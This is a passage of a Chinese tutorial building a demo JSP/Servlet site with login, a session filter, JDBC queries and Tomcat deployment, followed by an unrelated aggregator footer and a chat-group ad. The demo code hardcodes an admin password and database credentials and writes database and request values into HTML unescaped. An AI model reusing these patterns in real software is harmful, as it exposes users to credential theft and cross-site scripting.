package cn.zuowenjun.java; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; /** * Servlet implementation class LoginServlet */ @WebServlet(name="LoginServlet",urlPatterns= {"/servlet/login"}) public class LoginServlet extends HttpServlet { private static final long serialVersionUID = 1L; /** * @see HttpServlet#HttpServlet() */ public LoginServlet() { super(); // TODO Auto-generated constructor stub } /** * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse * response) */ protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // TODO Auto-generated method stub response.getWriter().append("Served at: ").append(request.getContextPath()); } /** * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse * response) */ protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // TODO Auto-generated method stub String uid = request.getParameter("uid"); String pwd = request.getParameter("pwd"); if (uid.isEmpty() || pwd.isEmpty()) { response.getWriter().append("the UserID and Passwrod cannot be empty!"); return; } if(uid.equals("admin") && pwd.equals("java.web")) { HttpSession session= request.getSession(); session.setAttribute("loginid", uid); String indexUrl= request.getContextPath()+"/jsp/index.jsp"; response.sendRedirect(indexUrl); return; } else { response.getWriter().append("the UserID or Passwrod is wrong!"); } } }
servlet 部署(映射)有两种方式,一种是在 web.xml 中使用如下配置:
<servlet> <servlet-name>LoginServlet</servlet-name> <servlet-class>cn.zuowenjun.java.LoginServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginServlet</servlet-name> <url-pattern>/servlet/login</url-pattern> </servlet-mapping>
另一种方式是使用注解,在 servlet 类名上方使用 @WebServlet 注解,在里面设置参数,如下:
@WebServlet(name="LoginServlet",urlPatterns= {"/servlet/login"}) public class LoginServlet extends HttpServlet { ... ... }
这样登录页面的前后端交互写完了,如果登录成功则跳转至 index.jsp 页面,否则直接输出错误信息,下面就写 index.jsp(动态页面):
四、编写 index.jsp(动态页面),我这里将所有 jsp 页面统一放在 jsp 目录中,以区分静态页面与动态页面,创建 jsp 页面的方法与创建静态页面方法基本相同,只是创建类型选择 jsp File 即可,在此不再重复介绍。
创建好空的 index.jsp 页面后,编写从 SQL SERVER DB 中获取表数据并显示在页面上的逻辑(即:查询数据),代码如下:
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <%@page import="java.sql.Connection"%> <%@page import="java.sql.DriverManager"%> <%@page import="java.sql.ResultSet"%> <%@page import="java.sql.SQLException"%> <%@page import="java.sql.Statement"%> <%!/*从SQL SERVER中获取测试数据*/ private ResultSet getTestData(String sql) { try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); Connection sqlConn = DriverManager.getConnection( "jdbc:sqlserver://xxxxxxx;DatabaseName=testDB", "dbuser", "password"); Statement statement = sqlConn.createStatement(); ResultSet set = statement.executeQuery(sql); return set; } catch (Exception ex) { ex.printStackTrace(); return null; } }%> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Index页面</title> <style type="text/css"> table{border:solid 2px black;border-collapse:collapse;} table th{color:blue;background-color:orange;border:solid 1px gray;padding:3px;} table td{border:solid 1px gray;padding:3px;} </style> </head> <body> <% ResultSet pageData=getTestData("select top 100 sys_guid,FormId,EventId,MaxElapsedTime,SlowTotalCount,LastSlowRequestTime,DisabedRequest from TS_ConfigLimitRequest"); int colCount=pageData.getMetaData().getColumnCount(); %> <table> <tr> <%for(int i=1;i<=colCount;i++) { %> <th><%=pageData.getMetaData().getColumnName(i) %></th> <%} %> <th>操作</th> </tr> <%while (pageData.next()){ %> <tr> <%for(int i=1;i<=colCount;i++) { %> <td><%=pageData.getString(i) %></td> <%} %> <td><a href="edit.jsp?sysguid=<%=pageData.getString("sys_guid")%>" target="_blank">编辑</a></td> </tr> <%} %> </table> </body> </html>
JSP 生命周期及相关学习教程,可参考:http://www.runoob.com/jsp/jsp-life-cycle.html
如上代码,涉及第一个重点:引用第三方 JAR 包(如:SQL SERVER JDBC),如何引用步骤如下:
1. 先下载所需的 JAR 包(如这里我需要 SQL SERVER JDBC 的 JAR 包,下载地址:https://docs.microsoft.com/zh-cn/sql/connect/jdbc/download-microsoft-jdbc-driver-for-sql-server?view=sql-server-2017)
2. 下载后将 JAR 包复制到 WebContentWEB-INFlib 目录下,然后选中 JAR 包右键,选择 buid path-->configure buid path,如下图示:
3. 然后如下图所示在 Libaraies 下选择 WebContentWEB-INFlib 目录下的 mssql-jdbc-7.0.0.jre8.jar 包,最后点击应用即可。
可以从项目的依赖类库中看到刚添加的 JAR 包,如下图示:
涉及第二个重点:使用原生 JDBC 操作数据库,由于这块涉及的内容比较多,故我这里借别人的图来展示一下 JDBC 的完整结构,代码中也只是用到了最基本的查询:
五、编写 edit.jsp 页面,用于可修改记录或删除记录(即:增、删、改),同样参照 index.jsp 的创建步骤
创建好 edit.jsp 空页面后,编写如下代码:
<%@ page language="java" contentType="text/html; charset=UTF-8" import="java.sql.*" pageEncoding="UTF-8"%> <% Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); %> <%! //全局定义区 /*从SQL SERVER中获取测试数据*/ private Connection getConnection() throws SQLException { Connection sqlConn = DriverManager.getConnection("jdbc:sqlserver://serverIP;DatabaseName=testDB", "user", "password"); return sqlConn; } private ResultSet getItemData(String sql, String sysguid) { try { Connection sqlConn = getConnection(); PreparedStatement stmt = sqlConn.prepareStatement(sql); stmt.setString(1, sysguid); ResultSet set = stmt.executeQuery(); return set; } catch (Exception ex) { ex.printStackTrace(); return null; } } /*执行SQL,使用事务*/ private String executeSql(String sql, String[] params) { Connection sqlConn = null; try { sqlConn = getConnection(); sqlConn.setAutoCommit(false); PreparedStatement stmt = sqlConn.prepareStatement(sql); for (int i = 0; i < params.length; i++) { stmt.setObject(i + 1, params[i]);//参数是从1开始 } stmt.execute(); sqlConn.commit(); return "执行成功!"; } catch (SQLException sqlEx) { if (sqlConn != null) { try{ sqlConn.rollback(); }catch(SQLException sqlExtrn){ return "执行失败,且回滚事务失败,原因:" + sqlExtrn.getMessage(); } } return "执行失败,原因:" + sqlEx.getMessage(); } catch (Exception ex) { return "执行失败,原因:" + ex.getMessage(); } } /*是否FORM请求回调*/ private Boolean isPostBack(HttpServletRequest request) { String postValue = request.getParameter("__formpost"); if ("POST".equals(postValue)) { return true; } else { return false; } }%> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>edit页面</title> </head> <body> <% String execResult = ""; if (isPostBack(request)) { String sysguid = request.getParameter("sysguid"); String doAction = request.getParameter("doAction"); String formId = request.getParameter("FormId"); String eventId = request.getParameter("EventId"); String maxElapsedTime = request.getParameter("MaxElapsedTime"); String slowTotalCount = request.getParameter("SlowTotalCount"); String lastSlowRequestTime = request.getParameter("LastSlowRequestTime"); String disabedRequest = request.getParameter("DisabedRequest"); String sql=null; if("Save".equals(doAction)){ sql = "update TS_ConfigLimitRequest set FormId=?,EventId=?,MaxElapsedTime=?,SlowTotalCount=?,LastSlowRequestTime=?,DisabedRequest=? where sys_guid=?"; execResult = executeSql(sql, new String[] { formId, eventId, maxElapsedTime, slowTotalCount, lastSlowRequestTime, disabedRequest, sysguid }); }else if("Delete".equals(doAction)) { sql="delete from TS_ConfigLimitRequest where sys_guid=?"; execResult = executeSql(sql, new String[] { sysguid }); } } String sysguid = request.getParameter("sysguid"); ResultSet itemSet = getItemData( "select sys_guid,FormId,EventId,MaxElapsedTime,SlowTotalCount,LastSlowRequestTime,DisabedRequest from TS_ConfigLimitRequest where sys_guid=?", sysguid); if (!itemSet.next()) { out.println("不存在该条记录!"); return; } %> <form method="post"> <table> <tr> <td>FormId:</td> <td><input type="text" name="FormId" value="<%=itemSet.getString("FormId")%>" /></td> </tr> <tr> <td>EventId:</td> <td><input type="text" name="EventId" value="<%=itemSet.getString("EventId")%>" /></td> </tr> <tr> <td>MaxElapsedTime:</td> <td><input type="text" name="MaxElapsedTime" value="<%=itemSet.getString("MaxElapsedTime")%>" /></td> </tr> <tr> <td>SlowTotalCount:</td> <td><input type="text" name="SlowTotalCount" value="<%=itemSet.getString("SlowTotalCount")%>" /></td> </tr> <tr> <td>LastSlowRequestTime:</td> <td><input type="text" name="LastSlowRequestTime" value="<%=itemSet.getString("LastSlowRequestTime")%>" /></td> </tr> <tr> <td>DisabedRequest:</td> <td><select name="DisabedRequest"> <option value="" <%if ("".equals(itemSet.getString("DisabedRequest"))) {%> selected <%}%>>-空-</option> <option value="true" <%if ("true".equals(itemSet.getString("DisabedRequest"))) {%> selected <%}%>>true</option> <option value="false" <%if ("false".equals(itemSet.getString("DisabedRequest"))) {%> selected <%}%>>false</option> </select></td> </tr> </table> <input type="hidden" name="sysguid" value="<%=sysguid%>"> <button id="btnSave" type="submit" name="doAction" value="Save">Save</button> <button id="btnSave" type="submit" name="doAction" value="Delete">Delete</button> <input type="hidden" name="__formpost" value="POST"> </form> <p style="color:<%if (!execResult.isEmpty() && execResult.startsWith("保存失败")) {%>red<%} else {%>green<%}%>"> <%=execResult%> </p> </body> </html>
如上代码主要涉及 JDBC 执行 SQL 语句,同时还特意使用了参数占位符以避免 SQL 注入,使用了事务以便可以演示事务的提交与回滚操作,具体的代码原理因篇幅有限就不介绍请参照相关文档。
六、编写一个登录验证过滤器:LoginValidationFilter,以实现对某些目录下页面进行登录限制(如:本文示例的是 jsp 目录),过滤器必需实现 Filter 接口,过滤器的主要逻辑写在 doFilter 中,代码如下:
(过滤器相关知识:http://www.runoob.com/jsp/jsp-writing-filters.html)
package cn.zuowenjun.java; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebFilter; import javax.servlet.http.*; /** * Servlet Filter implementation class LoginValidationFilter */ @WebFilter(filterName="LoginValidationFilter",urlPatterns="/jsp/*") public class LoginValidationFilter implements Filter { /** * Default constructor. */ public LoginValidationFilter() { // TODO Auto-generated constructor stub } /** * @see Filter#destroy() */ public void destroy() { // TODO Auto-generated method stub } /** * @see Filter#doFilter(ServletRequest, ServletResponse, FilterChain) */ public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse res = (HttpServletResponse) response; res.setCharacterEncoding("utf-8"); res.setHeader("Pragma", "No-cache");// 禁止缓存 res.setHeader("Cache-Control", "no-cache"); res.setHeader("Expires", "0"); PrintWriter out = res.getWriter(); HttpSession session = req.getSession(); if (session.getAttribute("loginid") != null) { chain.doFilter(request, response); } else { String indexUrl = req.getContextPath() + "/login.html"; out.println("<script>alert(''您没有登录登录,请先登录!need ReLogin!'');this.location.href=''" + indexUrl + "''; </script>"); } } /** * @see Filter#init(FilterConfig) */ public void init(FilterConfig fConfig) throws ServletException { // TODO Auto-generated method stub } }
Filter 部署(映射)有两种方式,同 servlet 部署类假,一种是在 web.xml 中使用如下配置:
<filter> <filter-name>LoginValidationFilter</filter-name> <filter-class>cn.zuowenjun.java.LoginValidationFilter</filter-class> </filter> <filter-mapping> <filter-name>LoginValidationFilter</filter-name> <url-pattern>/jsp/*</url-pattern> </filter-mapping>
另一种方式就是使用 @WebFilter 注解,配置如下:
@WebFilter(filterName="LoginValidationFilter",urlPatterns="/jsp/*") public class LoginValidationFilter implements Filter { ... }
如此一个简单的 JSP WEB 示例网站代码就写完了,包含:登录、验证登录、查看数据、编辑数据,下面贴出运行效果,注意由于是 DEMO,故没有严格按照编码规范及 UI 用户体验,只是为了演示结果:
当然还有一种类型没有介绍,那就是监听器:Listener,主要是用来监听 ServletContext, HttpSession, HttpServletRequest 这三个对象中的属性变更信息事件的监听器,可参考:https://www.cnblogs.com/xdp-gacl/p/3969249.html, 我们可以使用 ServletRequestListener 的 requestInitialized、requestDestroyed 方法来写一个简单的记录当前 demo 网站的在线用户人数,实现比较简单,在此就不再展开介绍了。
七、打包部署到 WEB 服务器(Tomcat)
1. 打包 WAR 包:直接参考这篇文章即可:https://www.cnblogs.com/yjq520/p/7323934.html,本身也简单就是导出时选择 WAR 包类型即可,在此就不介绍了。
2. 部署到 TOMCAT:只需将打包好的 WAR 包复制到 tomcat 的 webapps 目录下即可,在第一次运行时 tomcat 会自动解包并生成一个目录,本 DEMO 的示例发布到 TOMCAT 的效果:
最后就直接在浏览器中访问 URL 即可:localhost:8080/demo2/xxxx;
附加 2 个编码小技巧:
1. 创建一个 JSP 文件,默认字符编码并不是 UTF-8,故需要手动调整一下设置,如下图所示:
2. 在 eclipse 中运行调试 JSP 网站,如果本地安装了 TOMCAT 且后台一直运行着默认实例,那么可能调试时会报端口被占用,如果被占用了,就需要修改一下项目下的端口,方法如下图所示:
注意 server.xml 中有好几种 Connector 配置,一般我们只需改 protocal="HTTP" 的即可,因为我们是运行 WEB 项目,
另外大家也看到后面还有一个 redirectPort 配置项,这个的作用是:当用户用 http 请求某个资源 URL,而该资源本身又被设置了必须要 https 方式访问,此时 Tomcat 会自动重定向到这个 redirectPort 设置的 https 端口。
最后小结:
1.JSP WEB 项目中页面类一般包含:HTML、JSP、Servlet,其中:HTML、JSP 文件是可以直接编辑 HTML,而 Servlet 一般只是用于服务端请求的逻辑处理,并没有提供直接的 HTML,若需响应成 HTML,得自己使用 JAVA 代码来动态拼出 HTML,原则上不建议在 Servlet 类中拼大量的 HTML,完全可以采用 JSP 来代替。JSP 可以 HTML 与 JAVA 语言混合,大家也看我上面的 DEMO 代码,有些地方我用 HTML 静态页面,而有些我又使用 JSP 动态页面。如果对比 ASP.NET 项目,那么 JSP 文件类似 ASP.NET 中的 ASPX 文件,而 Servlet 类似于 ASHX
2.Listener:用于监听捕获 WEB 应用、上下文、会话的改变,并根据每种事件处理相关逻辑,Filter:用于拦截每一个请求,并在拦截中处理相关逻辑(如:身份验证、记日志等),这些类似于 ASP.NET 项目中的 IIS 管道事件、global 全局事件;
3. 大家有没有发现,JSP WEB,要么前后分离(HTML 纯前端、Servlet 纯后端),要么就是混合(JSP,包含 HTML+Servlet),那有没有一种后端控制前端,后端与前端无需对应,但又能各自变化呢?答案是可以的,这就是下一篇我要介绍的 SSM 框架,在此只是引入为什么需要 MVC 模式;
4. 以前使用 VS+ASP.NET,发现微软的很多东西都是开箱即用,无需过多配置就能快速上手,而 eclipse+JSP WEB 需要各种配置,最主要是 eclipse 的编码体验确实与 VS 相差太远。后续考虑会学习基于 IDEA 或 VS CODE IDE 来写 JAVA WEB 项目,到时候再来分享。
如果想学习 Java 工程化、高性能及分布式、深入浅出。微服务、Spring,MyBatis,Netty 源码分析的朋友可以加我的 Java 高级交流:787707172,群里有阿里大牛直播讲解技术,以及 Java 大型互联网技术的视频免费分享给大家。
今天关于应用安全 - Web 安全 - 攻击方法 - SQL 注入 - 原理 | 场景 | 方法 - 汇总和web应用安全攻击的设备的分享就到这里,希望大家有所收获,若想了解更多关于ARMS 应用安全-你的应用运行时的隐形安全卫士、asp.net-web-api – 在ASP.NET Web API控制器的nunit测试中实例化新的System.Web.Http.OData.Query.ODataQueryOptions、Java Web 应用安全、JAVA WEB 快速入门之从编写一个 JSP WEB 网站了解 JSP WEB 网站的基本结构、调试、部署等相关知识,可以在本站进行查询。
本文标签: